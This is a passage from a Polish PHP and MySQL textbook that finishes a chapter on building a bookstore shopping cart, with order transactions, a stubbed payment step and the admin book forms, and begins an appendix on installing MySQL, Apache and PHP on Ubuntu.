$zapytanie = "delete from produkty_zamowienia where
idzamowienia = '".$lacz->real_escape_string($idzam).
"' and isbn = '".$lacz->real_escape_string($isbn)."'";
$wynik = $lacz->query($zapytanie);
$zapytanie = "insert into produkty_zamowienia values
('".$lacz->real_escape_string($idzam)."', '".
$lacz->real_escape_string($isbn)."', ".
$lacz->real_escape_string($dane['cena']).", ".
$lacz->real_escape_string($ilosc) .")";
$wynik = $lacz->query($zapytanie);
if(!$wynik) {
return false;
}
}

// koniec transakcji
$lacz->commit();
$lacz->autocommit(TRUE);

return $idzam;
}

?>

Funkcja ta jest stosunkowo długa, ponieważ konieczne jest umieszczenie danych klienta, szczegółów
zamówienia oraz danych każdej książki, która została zakupiona.

Nietrudno zauważyć, że poszczególne części operacji zapisywania zamówienia należą do jednej


transakcji, rozpoczynanej poleceniem
$lacz->autocommit(FALSE);

i kończącej się instrukcjami:


$lacz->commit();
$lacz->autocommit(TRUE);

Jest to jedyna część aplikacji, w której trzeba wykonywać transakcje. A jak udało nam się ich dotąd
unikać? Przeanalizujmy kod funkcji lacz_db():
function lacz_bd() {
$wynik = new mysqli('localhost', 'ksiazka_kz', 'haslo', 'ksiazka_kz');
if (!$wynik) {
return false;
}
$wynik->autocommit(TRUE);
return $wynik;
}
Rozdział 31.  Tworzenie koszyka na zakupy 675

Oczywiście, funkcja ta różni się nieco od tej samej funkcji, którą wykorzystywaliśmy w poprzed-
nich rozdziałach. Po zestawieniu połączenia z serwerem MySQL powinno się włączyć tryb auto-
matycznego zatwierdzania transakcji autocommit. Zagwarantuje to, że każda instrukcja SQL zostanie
automatycznie zatwierdzona, jak już wcześniej wspominaliśmy. Jeżeli zachodzi potrzeba wyko-
nania transakcji złożonej z większej liczby instrukcji, tryb automatycznego zatwierdzania trzeba
wyłączyć, następnie należy wykonać serię instrukcji INSERT, zatwierdzić dane, po czym przywrócić
tryb automatycznego zatwierdzania.

Następnie obliczane są koszty dostawy na adres klienta i wartość ta zostaje wyświetlona za pomocą
następującego wiersza kodu:
wyswietl_dostawe(oblicz_koszt_dostawy());

Kod zastosowany w tym przypadku w funkcji oblicz_koszt_dostawy() zawsze zwraca wartość


20 PLN. Podczas konfigurowania prawdziwej witryny sklepowej należy wybrać metodę dostawy,
poznać jej koszty dla różnych miejsc przeznaczenia oraz odpowiednio obliczyć jej wartość.

Następnie za pomocą funkcji pobierz_dane_karty() (pochodzącej z biblioteki funkcje_wyswietl.php)


zostaje wyświetlony formularz, w którym klient powinien podać szczegółowe dane swojej karty
kredytowej.

Implementacja płatności
Kiedy klient wybierze przycisk Kupuj, szczegóły jego zakupu zostaną przetworzone za pomocą
skryptu przetworz.php. Wyniki zakończonej pomyślnie płatności są przedstawione na rysunku 31.10.

Rysunek 31.10.
Transakcja zakończyła
się sukcesem, produkty
zostaną teraz wysłane
do klienta

Kod skryptu przetworz.php jest przedstawiony na listingu 31.16.

Listing 31.16. przetworz.php — skrypt przetwarza zamówienie klienta i wyświetla wynik tych działań
<?php
include ('funkcje_ksiazka_kz.php');
// koszyk na zakupy potrzebuje sesji, zostaje więc ona rozpoczęta
session_start();

tworz_naglowek_html('Kasa');
676 Część V  Tworzenie praktycznych projektów PHP i MySQL

$typ_karty = $_POST['typ_karty'];
$numer_karty = $_POST['numer_karty'];
$miesiac_karty = $_POST['miesiac_karty'];
$rok_karty = $_POST['rok_karty'];
$nazwa_karty = $_POST['nazwa_karty'];

if(($_SESSION['koszyk']) && ($typ_karty) && ($numer_karty) &&


($miesiac_karty) && ($rok_karty) && ($nazwa_karty)) {
// wyświetl koszyk bez możliwości zmian
wyswietl_koszyk($_SESSION['koszyk'], false, 0);

wyswietl_dostawe(oblicz_koszt_dostawy());

if(przetworz_karte($_POST)) {
// opróżnij koszyk
session_destroy();
echo "<p>Dziękujemy za dokonanie zakupów. Zamówienie zostało przyjęte.</p>";
wyswietl_przycisk("indeks.php", "kontynuacja", "Kontynuacja zakupów");
} else {
echo "<p>Dokonanie operacji niemożliwe. Proszę skontaktować się z wystawcą karty lub
spróbować ponownie.</p>";
wyswietl_przycisk("zakup.php", "powrot", "Powrót");
}
} else {
echo "<p>Nie zostały wypełnione wszystkie pola, proszę spróbować ponownie.</p><hr />";
wyswietl_przycisk("zakup.php", "powrot", "Powrót");
}

tworz_stopke_html();
?>

W skrypcie tym następuje przetworzenie danych karty kredytowej klienta, po czym, jeżeli działania
zakończą się sukcesem, jego sesja zostaje zniszczona.

Utworzona w tym miejscu funkcja przetwarzająca dane karty po prostu zwraca true. Gdyby
przetwarzanie karty miało zostać rzeczywiście zaimplementowane, funkcja ta musiałaby weryfi-
kować dane (sprawdzać, czy data ważności karty jest prawidłowa oraz czy numer karty ma prawi-
dłowy format), a następnie przetwarzać płatność.

Implementacja interfejsu administratora


Zaimplementowany w tym przykładzie interfejs administracyjny jest bardzo prosty. Wszystko,
co zostało wykonane, to interfejs WWW do bazy danych oraz proste uwierzytelnienie, oparte na
rozwiązaniach podobnych do tych, które zostały przedstawione w innych miejscach tej książki. Kod
został tutaj dołączony w celu zachowania kompletności, jedynie z krótkim opisem.

Interfejs administratora wymaga od użytkownika zalogowania się poprzez skrypt logowanie.php,


który przenosi go do menu administratora, admin.php. Strona logowania jest przedstawiona na ry-
sunku 31.11. Menu administratora ukazano na rysunku 31.12.

Kod menu administratora jest przedstawiony na listingu 31.17.


Rozdział 31.  Tworzenie koszyka na zakupy 677

Rysunek 31.11.
Użytkownicy muszą
przejść stronę logowania,
aby dotrzeć do funkcji
administratora

Rysunek 31.12.
Menu administratora
pozwala na uzyskanie
dostępu do funkcji
administracyjnych

Listing 31.17. admin.php — skrypt uwierzytelnia administratora pozwala mu na dostęp do funkcji


administracyjnych
<?php

// dołączenie plików funkcji tej aplikacji


require_once('funkcje_ksiazka_kz.php');
session_start();

if (($_POST['nazwa_uz']) && ($_POST['haslo'])) {


// właśnie nastąpiła próba logowania

$nazwa_uz = $_POST['nazwa_uz'];
$haslo = $_POST['haslo'];

if (loguj($nazwa_uz, $haslo)) {
// jeżeli w bazie danych, zgłoszenie identyfikatora użytkownika
$_SESSION['uzyt_admin'] = $nazwa_uz;

} else {
// niepomyślne logowanie
tworz_naglowek_html("Problem:");
echo "<p>Zalogowanie niemożliwe.<br />Należy być zalogowanym, aby przeglądać tę stronę.</p>";
tworz_html_url('logowanie.php', 'Logowanie');
tworz_stopke_html();
exit;
}
}
678 Część V  Tworzenie praktycznych projektów PHP i MySQL

tworz_naglowek_html('Administracja');
if (sprawdz_uzyt_admin()) {
wyswietl_menu_admin();
} else {
echo "<p>Brak autoryzacji do wejścia na obszar administracyjny.</p>";
}

tworz_stopke_html();
?>

Kiedy administrator dotrze do tego miejsca, może zmienić swoje hasło lub wylogować się — kod
ten jest taki sam jak kod zamieszczony w poprzednich rozdziałach tej książki.

Administrator jest identyfikowany po zalogowaniu się poprzez zmienną sesji $uzyt_admin i funk-
cję sprawdz_uzyt_admin(). Funkcja ta i inne wykorzystywane przez skrypty administracyjne mogą
zostać odnalezione w bibliotece funkcji funkcje_admin.php.

Jeżeli administrator wybierze dodanie nowej kategorii lub książki, zostanie skierowany do pliku —
odpowiednio dodaj_kat_form.php lub dodaj_ksiazke_form.php. Każdy z tych skryptów przed-
stawia administratorowi formularz do wypełnienia. Każdy z nich jest przetwarzany przez odpo-
wiadający mu skrypt (dodaj_kat.php i dodaj_ksiazke.php), który sprawdza, czy formularz jest
wypełniony i umieszcza nowe dane w bazie danych. Ponieważ są one do siebie podobne, zostaną
tu opisane tylko wersje skryptów odpowiedzialne za książki.

Wynik uruchomienia skryptu dodaj_ksiazke_form.php jest przedstawiony na rysunku 31.13.

Rysunek 31.13.
Ten formularz pozwala
administratorowi
na dodawanie nowych
książek do katalogu
online

Można dostrzec, że pole Kategoria dla książek jest elementem HTML SELECT. Opcje tego pola
pochodzą z wywołania funkcji pobierz_kategorie(), która została poprzednio opisana.

Kiedy zostaje wybrany przycisk Dodaj książkę, następuje aktywacja skryptu dodaj_ksiazke.php.
Kod tego skryptu jest przedstawiony na listingu 31.18.

Listing 31.18. dodaj_ksiazke.php — skrypt sprawdza prawidłowość danych nowej książki i umieszcza ją
w bazie danych
<?php

// dołączenie plików funkcji tej aplikacji


require_once('funkcje_ksiazka_kz.php');
session_start();
Rozdział 31.  Tworzenie koszyka na zakupy 679

tworz_naglowek_html("Dodawanie książki");
if (sprawdz_uzyt_admin()) {
if (wypelniony($_POST)) {
$isbn = $_POST['isbn'];
$tytul = $_POST['tytul'];
$autor = $_POST['autor'];
$idkat = $_POST['idkat'];
$cena = $_POST['cena'];
$opis = $_POST['opis'];

if(dodaj_ksiazke($isbn, $tytul, $autor, $idkat, $cena, $opis)) {


echo "<p>Książka <em>".htmlspecialchars($tytul)."</em> została dodana do bazy danych.</p>";
} else {
echo "<p>Książka <em>".htmlspecialchars($tytul)."</em> nie mogła zostać dodana do bazy
danych.</p>";
}
} else {
echo "<p>Formularz nie został wypełniony. Proszę spróbować ponownie.</p>";
}

tworz_html_url("admin.php", "Powrót do menu administratora");


} else {
echo "<p>Brak autoryzacji do przeglądania tej strony.</p>";
}

tworz_stopke_html();
?>

Powyższy skrypt wywołuje więc funkcję dodaj_ksiazke(). Ta i inne funkcje wykorzystywane


przez skrypty administracyjne są umieszczone w pliku funkcje_admin.php.

Oprócz dodawania nowych kategorii i książek administrator może edytować i usuwać te elementy.
Funkcje te zostały zaimplementowane przy maksymalnym ponownym wykorzystaniu kodu. Kiedy
administrator wybierze łącze Strona główna w menu administracyjnym, zostanie przeniesiony do
pliku indeks.php i może poruszać się po witrynie w ten sam sposób, co zwykły użytkownik, za po-
mocą tych samych skryptów.

Istnieje jednak pewna różnica — administratorzy będą mieli do dyspozycji inne opcje, wynikające
z faktu, że posiadają zgłoszoną zmienną sesji $uzyt_admin. Jeżeli na przykład wejdzie on na opisaną
wcześniej stronę pokaz_ksiazke.php, ujrzy inne opcje menu (zobacz rysunek 31.14).

Administrator posiada dostęp do dwóch nowych opcji na tej stronie — Edycja produktu i Menu
administratora. Można również zauważyć, że w prawym górnym rogu nie jest wyświetlony koszyk
na zakupy — zamiast tego znajduje się tam przycisk Wylogowanie.

Kod wzmiankowanych nowości znajduje się także w tym pliku (zobacz listing 31.8).
if( sprawdz_uzyt_admin() ) {
wyswietl_przycisk("edycja_ksiazki_form.php?isbn=". urlencode($isbn), 'edycja-produktu',
'Edycja Produktu');
wyswietl_przycisk('admin.php', 'menu-admin', 'Menu administratora');
wyswietl_przycisk($cel, 'kontynuuj', 'Kontynuacja');
}

Jeżeli spojrzy się na skrypt pokaz_kosz.php, można zauważyć, że również te opcje zostały w niego
wbudowane.
680 Część V  Tworzenie praktycznych projektów PHP i MySQL

Rysunek 31.14.
Skrypt pokaz_ksiazke.php
wyświetla inną zawartość
administratorowi

Jeżeli administrator kliknie przycisk Edycja produktu, zostanie przeniesiony do skryptu edycja_
ksiazki_form.php. Wynik uruchomienia tego skryptu jest przedstawiony na rysunku 31.15.

Rysunek 31.15.
Skrypt edycja_
ksiazki_form.php
umożliwia edycję
szczegółowych danych
książki oraz jej usunięcie

Jest to w istocie ten sam formularz, który został zastosowany do pobrania szczegółowych infor-
macji o książce. W formularz ten została wbudowana opcja przekazywania i wyświetlania danych
istniejącej książki. Podobnie wygląda kwestia formularza kategorii. Aby to zrozumieć, należy
przeanalizować listing 31.19.

Listing 31.19. Funkcja wyswietl_form_ksiazki() umieszczona w pliku funkcje_admin.php — wykonuje podwójne


zadanie dodawania i edycji książki
function wyswietl_form_ksiazki($ksiazka = '') {
// Wyświetlenie formularza książki.
// Bardzo podobny do formularza kategorii.
Rozdział 31.  Tworzenie koszyka na zakupy 681

// Formularz ten może zostać wykorzystany do dodawania lub edycji książek.


// Aby dodać, nie przekazywać żadnych parametrów. Ustawi to zmienną $edycja
// na false, a formularz zostanie przekazany do dodaj_ksiazke.php.
// Aby uaktualnić, przekazać tablicę zawierającą książkę
// Formularz zostanie wyświetlony ze starymi danymi i będzie wskazywał na
// edycja_ksiazki.php. Doda również przycisk „Edycja książki”

// jeżeli przekazana istniejąca książka, „tryb edycji”


$edycja = is_array($ksiazka);

// większość formularza to czysty HTML z pewnymi fragmentami PHP


?>
<form method="post"
action="<?php echo $edycja ? 'edycja_ksiazki.php' : 'dodaj_ksiazke.php';?>">
<table border="0">
<tr>
<td>ISBN:</td>
<td><input type="text" name="isbn"
value="<?php echo htmlspecialchars($edycja ? $ksiazka['isbn'] : ''); ?>" /></td>
</tr>
<tr>
<td>Tytuł książki:</td>
<td><input type="text" name="tytul"
value="<?php echo htmlspecialchars($edycja ? $ksiazka['tytul'] : ''); ?>" /></td>
</tr>
<tr>
<td>Autor książki:</td>
<td><input type="text" name="autor"
value="<?php echo htmlspecialchars($edycja ? $ksiazka['autor'] : ''); ?>" /></td>
</tr>
<tr>
<td>Kategoria:</td>
<td><select name="idkat">
<?php
// lista możliwych kategorii pochodzi z bazy danych
$tablica_kat=pobierz_kategorie();
foreach ($tablica_kat as $takat) {
echo "<option value=\"". htmlspecialchars($takat['idkat'])."\"";
// jeżeli istniejąca książka, umieszczenie w aktualnej kategorii
if (($edycja) && ($takat['idkat'] == $ksiazka['idkat'])) {
echo " wybrano";
}
echo ">". htmlspecialchars($takat['nazwakat']) ."</option>";
}
?>
</select>
</td>
</tr>
<tr>
<td>Cena:</td>
<td><input type="text" name="cena"
value="<?php echo htmlspecialchars($edycja ? $ksiazka['cena'] : ''); ?>" /></td>
</tr>
<tr>
<td>Opis:</td>
<td><textarea rows="3" cols="50"
name="opis">
<?php echo htmlspecialchars($edycja ? $ksiazka['opis'] : '');
?></textarea></td>
</tr>
<tr>
<td <?php if (!$edycja) { echo "colspan=2"; }?> align="center">
682 Część V  Tworzenie praktycznych projektów PHP i MySQL

<?php
if ($edycja)
// potrzebny jest stary isbn, aby znaleźć książkę w bazie danych
// jeżeli isbn jest uaktualniany
echo "<input type=\"hidden\" name=\"staryisbn\"
value=\"". htmlspecialchars($ksiazka['isbn'])."\" />";
?>
<input type="submit"
value="<?php echo $edycja?'Uaktualnienie':'Dodanie'; ?> książki" />
</form></td>
<?php
if ($edycja) {
echo "<td>
<form method=\"post\" action=\"usun_ksiazke.php\">
<input type=\"hidden\" name=\"isbn\"
value=\"". htmlspecialchars($ksiazka['isbn'])."\" />
<input type=\"submit\" value=\"Usuń książkę\" />
</form></td>";
}
?>
</td>
</tr>
</table>
</form>
<?php
}

Po przekazaniu funkcji tablicy zawierającej szczegółowe dane książki formularz zostanie wy-
świetlony w trybie edycji, a pola zostaną wypełnione danymi z tablicy:
<input type=text name=cena
value="<?php echo htmlspecialchars($edycja ? $ksiazka['cena'] : ''); ?>" />

Wyświetlone zostaną nawet różne przyciski wysyłające. W istocie formularz edycji wywołuje dwa
przyciski — jeden uaktualniający książkę i drugi ją usuwający. Wywołują one skrypty edycja_
ksiazki.php i usun_ksiazke.php, które odpowiednio uaktualniają bazę danych.

Wersje kategorii powyższych skryptów działają w bardzo podobny sposób poza jedną kwestią.
Jeżeli administrator próbuje usunąć kategorię, która zawiera jakieś książki, nie zostanie ona usu-
nięta. (Jest to sprawdzane przez zapytanie bazy danych). Pozwala to uniknąć problemów, które
może spowodować przypadkowe usunięcie — kwestia ta została omówiona w rozdziale 8. W tym
przypadku, jeżeli usuwana kategoria ciągle zawierałaby książki, stałyby się one „sierotami”.
Nie byłaby znana ich kategoria, tak więc nie istniałaby możliwość dotarcia do nich!

W ten sposób dokonaliśmy przeglądu interfejsu administratora.

Rozwijanie projektu
Utworzyliśmy stosunkowo prosty system koszyka na zakupy. Istnieje wiele możliwych dodatków
i ulepszeń:
 W rzeczywistym sklepie online konieczne jest utworzenie pewnego systemu śledzenia
i wypełniania zamówień — do tej pory nie wskazano metody przeglądania zamówień,
które zostały przyjęte.
Rozdział 31.  Tworzenie koszyka na zakupy 683

 Klienci powinni mieć możliwość sprawdzenia postępu swoich zamówień bez konieczności
kontaktu z administracją. Według autorów ważne jest, by klienci nie musieli logować się
w celu przeglądania strony. Jednak dostarczenie klientom metody uwierzytelniania daje
im możliwość obejrzenia poprzednich zamówień, a administratorom — metody połączenia
podobnych przyzwyczajeń w profile.
 Obrazki książek muszą być wysyłane przez FTP do katalogu obrazki XXX, musi im zostać
także nadana odpowiednia nazwa. Aby to ułatwić, można dodać opcję wysyłania plików
do strony dodającej książkę.
 Można dodać logowanie użytkowników, personalizację oraz rekomendacje książek, recenzje
online, programy stałych użytkowników, sprawdzanie zasobów magazynu itd. Możliwości
są nieograniczone.
684 Część V  Tworzenie praktycznych projektów PHP i MySQL
Dodatki
686 Dodatki
Dodatek A  Instalacja Apache, PHP i MySQL 687

Dodatek A
Instalacja Apache,
PHP i MySQL
Apache, PHP i MySQL dostępne są w wersjach przeznaczonych na różne platformy systemowe
i dla różnych serwerów WWW. W tym dodatku wyjaśnimy, w jaki sposób należy instalować Apache,
PHP i MySQL w systemie Unix (prawie) od zera, jak również zamieścimy wskazówki dotyczące
instalacji tych technologii w systemach Windows oraz Mac OS X.

W tym dodatku zostaną poruszone następujące zagadnienia:


 uruchamianie PHP jako CGI lub moduł serwera,
 instalacja Apache, SSL, PHP i MySQL w systemie Unix,
 instalacja Apache, PHP i MySQL z wykorzystaniem gotowych pakietów,
 instalowanie PEAR,
 uwagi na temat innych konfiguracji.

W niniejszym dodatku nie zostały przedstawione informacje na temat sposobu


dodawania języka PHP do serwera Microsoft Internet Information Services oraz innych
serwerów WWW. Sugerujemy, by zawsze, gdy tylko jest to możliwe, korzystać z serwera
Apache. Niemniej jednak pod koniec tego dodatku zamieściliśmy informacje na temat
instalowania PHP na innych serwerach WWW.

Celem tego dodatku jest zaprezentowanie pełnego procesu instalacji serwera WWW, umożliwia-
jącego udostępnianie wielu witryn internetowych. Niektóre z nich będą wymagać protokołu SSL
do prowadzenia za ich pośrednictwem działalności komercyjnej, a niemal wszystkie będą za-
wierały skrypty realizujące połączenie z serwerem baz danych oraz wyszukujące i przetwarzające
dane. Właśnie z tego względu w niniejszym dodatku zamieścimy informacje o przygotowaniu
standardowej konfiguracji PHP, MySQL oraz serwera Apache na komputerze działającym pod
kontrolą systemu operacyjnego Unix.

Wielu użytkowników PHP nigdy nie staje przed koniecznością instalowania PHP na komputerze,
dlatego też zagadnienia te umieszczone zostały w dodatku, a nie w rozdziale 1. Najłatwiejszym
sposobem uzyskania dostępu do dobrego serwera posiadającego szybkie połączenie z internetem
i mającego zainstalowane PHP jest założenie konta na jednym z tysięcy serwisów oferujących usługi
hostingowe lub u sprzedawców tego typu usług działających na całym świecie. Jeśli ktoś chce
skorzystać z tej metody, to powinien się upewnić, że wybrana firma hostingowa udostępnia aktualne
wersje Apache, PHP i MySQL, gdyż w przeciwnym razie mogą wystąpić problemy z bezpieczeń-
stwem, które trudno będzie rozwiązać (nie wspominając nawet o tym, że nie będzie można korzy-
stać z najnowszych i najlepszych możliwości poszczególnych technologii).
688 Dodatki

Zależnie od powodów, dla których PHP ma zostać zainstalowane na komputerze, różne będą też
podejmowane decyzje. Na przykład jeżeli komputer przez cały czas utrzymuje połączenie z siecią
i będzie miał odgrywać rolę serwera z prawdziwego zdarzenia, to należy zastanowić się nad kwe-
stią jego wydajności. Jeśli tworzony jest serwer dla celów programistycznych, na którym będą
się odbywać testy kodu, to najważniejszą rzeczą będzie zapewnienie zgodności jego konfiguracji
z konfiguracją prawdziwego serwera.
Interpreter PHP może być uruchomiony jako moduł serwera lub jako CGI. Zazwyczaj używa się
go jako modułu ze względu na większą wydajność. Z drugiej strony wersja CGI jest czasami
stosowana na serwerach, na których wersja w postaci modułu jest niedostępna, lub
dlatego, że pozwala ona użytkownikom serwera Apache na uruchamianie różnych stron
PHP jako użytkownikom o różnych identyfikatorach.
W tym dodatku zostanie przedstawiona metoda instalacji PHP jako modułu.

Instalacja Apache, PHP i MySQL w systemie UNIX


Zależnie od potrzeb i stopnia doświadczenia z systemami Unix można zdecydować się na insta-
lację przy użyciu binariów lub przeprowadzenie bezpośredniej kompilacji kodów źródłowych.
Oba rozwiązania mają swoje zalety.

Instalacja na podstawie binariów zajmie doświadczonym użytkownikom kilka minut, a początkujący


spędzą tylko trochę więcej czasu. Efektem jednak będzie prawdopodobnie system o wersji o jedną
lub dwie niższej od wersji najnowszej, którego ustawienia konfiguracyjne zostały określone przez
kogoś innego. Ale jeśli przeczytaliśmy listę zmian i wiemy, jakich możliwości nie będziemy
posiadać, bądź też jeśli opcje budowy wybrane przez osobę przygotowującą binaria odpowiadają
naszym potrzebom, to jak najbardziej będzie można skorzystać z tego sposobu instalacji.

Choć instalacja z kodów źródłowych wymaga dodatkowego czasu na ich pobranie, zainstalowanie
i skonfigurowanie, co na początku może odstraszyć wiele osób, to jednak taki sposób daje pełną
kontrolę nad konfiguracją przygotowywanego środowiska. Stosując ten sposób instalacji, mamy
pełną kontrolę nad tym, co zostanie zainstalowane, jakie wersje technologii będą użyte oraz jakie
dyrektywy konfiguracyjne zostaną wykorzystane.

Instalacja przy użyciu binariów


Większość dystrybucji Linuksa zawiera prekonfigurowany serwer Apache z wbudowanym PHP.
Szczegóły będą zależeć od wybranej dystrybucji oraz jej wersji.

Jedną z wad instalacji przy użyciu binariów jest to, że rzadko zawierają one najnowsze wersje
programu. Zależnie od tego, jak ważne były ostatnio opublikowane poprawki, nie musi to stanowić
aż tak dużego problemu. Niemniej jednak jeśli ktoś planuje skorzystać z tych prekonfigurowanych,
binarnych dystrybucji PHP, MySQL, Apache oraz bibliotek dodatkowych, to sugerujemy, by naj-
pierw zaktualizować je przy użyciu metody aktualizacji typowej dla zainstalowanej wersji systemu
operacyjnego Linux (na przykład apt-get, yum lub innego menedżera pakietów).

Największą wadą instalacji z użyciem binariów jest to, że nie ma możliwości wyboru opcji zasto-
sowanych podczas ich kompilacji. Najbardziej elastycznym i niezawodnym sposobem jest skompi-
lowanie wszystkich programów z kodów źródłowych. Zastosowanie tego rozwiązania zajmuje
nieco więcej czasu niż instalacja przy użyciu menedżera pakietów, dlatego doskonale rozumiemy
osoby, które korzystają z możliwości instalacji pakietów binarnych, jeśli tylko jest ona dostępna;
poza tym jeżeli wszystkim, czego potrzebujemy, jest podstawowa konfiguracja, to istnieje całkiem
spore prawdopodobieństwo, że prekompilowane pakiety binarne w zupełności nam wystarczą.
Dodatek A  Instalacja Apache, PHP i MySQL 689

Instalacja przy użyciu kodów źródłowych


Zaczniemy od instalacji serwera Apache oraz PHP i MySQL w środowisku UNIX. Wcześniej
jednak należy zdecydować, jakie dodatkowe moduły zostaną wraz z nimi zainstalowane. Część
przykładów z tej książki służyła do przeprowadzania bezpiecznych transakcji w internecie, koniecz-
ne więc będzie zainstalowanie serwera wykorzystującego protokół SSL.

Dla celów tej książki zainstalujemy standardową wersję PHP, oprócz tego jednak zostanie poka-
zane, w jaki sposób można udostępniać dodatkową bibliotekę PHP o nazwie gd2.

Biblioteka gd2 to tylko jedna z wielu bibliotek przeznaczonych dla PHP. Zostanie ona dołączona
w celu pokazania ogólnej zasady kompilacji z kodów źródłowych oraz udostępniania dodatko-
wych bibliotek PHP. Proces kompilacji większości programów przeznaczonych dla systemów
Unix przebiega w podobny sposób, jednak jak pokażemy w dalszej części tego dodatku, mogą się
zdarzyć sytuacje, w których łatwiejszym rozwiązaniem będzie zainstalowanie gotowych, pre-
kompilowanych pakietów.

Zazwyczaj po zainstalowaniu nowej biblioteki konieczne jest wykonanie ponownej kompilacji


PHP, dlatego jeśli od razu wiadomo, jakie składniki trzeba będzie zainstalować, najlepiej jest
najpierw zainstalować na komputerze wymagane biblioteki, a dopiero potem przystąpić do kom-
pilacji modułu PHP.

Zaprezentowany proces instalacji odnosi się do serwera Ubuntu, ale opis wykonywanych czynności
jest na tyle ogólny, że można go zastosować na dowolnym uniksowym serwerze.

Pierwszym krokiem będzie zgromadzenie wszystkich plików niezbędnych do instalacji. W naszym


przykładzie będą to:
 Apache (http://httpd.apache.org/) — serwer WWW,
 OpenSSL (http://www.openssl.org/) — pakiet narzędziowy typu Open Source,
implementujący Secure Sockets Layer,
 MySQL (http://www.mysql.com/) — relacyjna baza danych,
 PHP (http://www.php.net/) — język skryptów działających po stronie serwera,
 JPEG (http://www.ijg.org/) — biblioteka JPEG niezbędna dla gd2,
 PNG (http://www.libpng.org/pub/png/libpng.html) — biblioteka PNG niezbędna dla gd2,
 zlib (http://www.zlib.net/) — biblioteka zlib, niezbędna dla wspomnianej wcześniej
biblioteki PNG,
 IMAP (ftp://ftp.cac.washington.edu/imap/) — klient IMAP c, niezbędny dla IMAP.

Jeśli konieczne będzie używanie funkcji mail(), trzeba będzie zainstalować agenta transferu poczty
elektronicznej (mail transfer agent — MTA), lecz tego zagadnienia nie będziemy poruszać.

Zakładamy, że Czytelnik ma dostęp do serwera jako użytkownik root oraz zainstalował wcześniej
następujące narzędzia:
 gzip lub gunzip,
 gcc oraz make GNU.

Pierwszym etapem instalacji będzie pobranie wszystkich plików .tar z kodami źródłowymi do kata-
logu tymczasowego. Należy się upewnić, że znajduje się w nim wystarczająco dużo miejsca. Wybrali-
śmy katalog /usr/src na katalog tymczasowy. Wszystkie pliki najlepiej pobrać jako root, by uniknąć
ewentualnych problemów z dostępem do nich w przyszłości.
690 Dodatki

Instalowanie MySQL
W tym popunkcie pokażemy, jak należy przeprowadzić binarną instalację MySQL. Instalowanie
oficjalnej binarnej dystrybucji MySQL w rzeczywistości jest zalecanym rozwiązaniem, zwłaszcza
wziąwszy pod uwagę niewielką liczbę opcji konfiguracyjnych, których prawdopodobnie Czytelnik
może potrzebować, oraz liczbę kroków procesu konfiguracyjnego, które od lat nastręczają pro-
blemów. Choć absolutnie nic nie stoi na przeszkodzie, by pobrać pliki źródłowe i zbudować na
ich podstawie serwer MySQL, a instrukcje opisujące ten proces są całkiem dobre, to jednak instalu-
jąc pliki binarne przeznaczone dla konkretnego systemu, uzyskamy ten sam efekt znacznie
szybciej, i to praktycznie bez żadnych różnic w możliwościach funkcjonalnych serwera.

W tym przykładzie użyjemy repozytorium apt dla systemu Ubuntu 16.04, niemniej jednak
można pobrać repozytorium binarne odpowiednie dla stosowanego systemu, dostępne na stronie
http://www.mysql.com/downloads/. Ten rodzaj instalacji automatycznie umieszcza pliki w różnych
miejscach i obsługuje konfigurację serwera MySQL.

Pobraliśmy pakiet instalacyjny mysql-apt-config_0.8.0-1_all.deb i zainstalowaliśmy go przy użyciu


następującego polecenia:
# sudo dpkg -i mysql-apt-config_0.8.0-1_all.deb

W tym momencie zostaniemy poproszeni o wybranie komponentów do zainstalowania, jak poka-


zano na rysunku A.1.

Rysunek A.1.
Opcje konfiguracyjne
MySQL

W przedstawionym oknie należy wybrać opcję Server, a w kolejnym kroku — wersję serwera. Na-
stępnie należy kliknąć OK, by zapisać konfigurację. W tym momencie system będzie gotowy
do wykonania polecenia apt w celu zainstalowania dokładnie takiej aplikacji, jakiej sobie życzyli-
śmy; można więc wydać następujące polecenie:
# sudo apt-get install

Po zakończeniu tego procesu można w końcu zainstalować sam serwer MySQL:


# sudo apt-get install mysql-server
Dodatek A  Instalacja Apache, PHP i MySQL 691

W trakcie procesu możemy zostać poproszeni o zainstalowanie niezbędnych dodatkowych bibliotek.


Wówczas należy nacisnąć klawisz Y w celu kontynuacji.

Podczas instalowania serwera powinno zostać wyświetlone okno z prośbą o ustawienie hasła użyt-
kownika root bazy danych, takie jak to przedstawione na rysunku A.2.

Rysunek A.2.
Prośba o podanie
hasła użytkownika
root serwera MySQL

Po podaniu hasła zostaniemy poproszeni o jego powtórzenie, a gdy to zrobimy, proces instalacji
będzie kontynuowany.

W trakcie instalacji MySQL automatycznie tworzone są trzy bazy danych1. Jedna z nich to mysql,
w której zapisane są dane na temat użytkowników, komputerów i przywilejów na serwerze. Można
to sprawdzić, wykonując następujące polecenie w wierszu poleceń:
# mysql –u root –p
Enter password:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0,00 sec)

Aby wyjść z klienta MySQL, należy wpisać quit lub \q.

1
Począwszy od wersji MySQL 5.7.7, tworzona jest jeszcze jedna baza danych, o nazwie sys. Zawiera ona
obiekty ułatwiające programistom oraz administratorom interpretowanie wyników gromadzonych w bazie
danych performance_schema — przyp. tłum.
692 Dodatki

Domyślna konfiguracja MySQL pozwala dowolnemu użytkownikowi na uzyskanie dostępu do


systemu bez podawania nazwy użytkownika i hasła. Oczywiście jest to wysoce niepożądane,
dlatego jedną z czynności wykonywanych w ramach procesu instalowania MySQL jest podanie
hasła dla administratora bazy (użytkownika root). Ostatnią obowiązkową czynnością podczas
instalacji jest usunięcie anonimowego użytkownika. W tym celu należy otworzyć wiersz poleceń
i wpisać poniższe instrukcje.
# mysql –u root –p
Enter password:
mysql> use mysql
mysql> delete from user where User='';
mysql> quit

Następnie, aby zmiany te zostały uwzględnione, trzeba wpisać


mysqladmin –u root –p reload

(Zanim polecenie zostanie wykonane, trzeba będzie podać hasło).

Teraz będziemy już posiadać działający, zabezpieczony serwer MySQL, którego będziemy mogli
używać wraz z PHP.

Instalowanie PHP i serwera Apache


Trzeba zwrócić uwagę na to, że w przedstawionych poniżej przykładach poleceń słowo WERSJA
stanowi zamiennik, który powinien zostać zastąpiony numerem wersji instalowanego oprogramowa-
nia. Sam proces instalacji jest taki sam w każdej wersji oprogramowania. A zatem wykonując poniż-
sze polecenia, należy zastąpić słowo WERSJA konkretnym numerem wersji pobranego i instalowanego
oprogramowania.

Przed przystąpieniem do instalacji PHP należy najpierw skonfigurować i zainstalować serwer


Apache, tak by proces instalacyjny PHP był w stanie znaleźć wszystkie zasoby tego serwera. Proszę
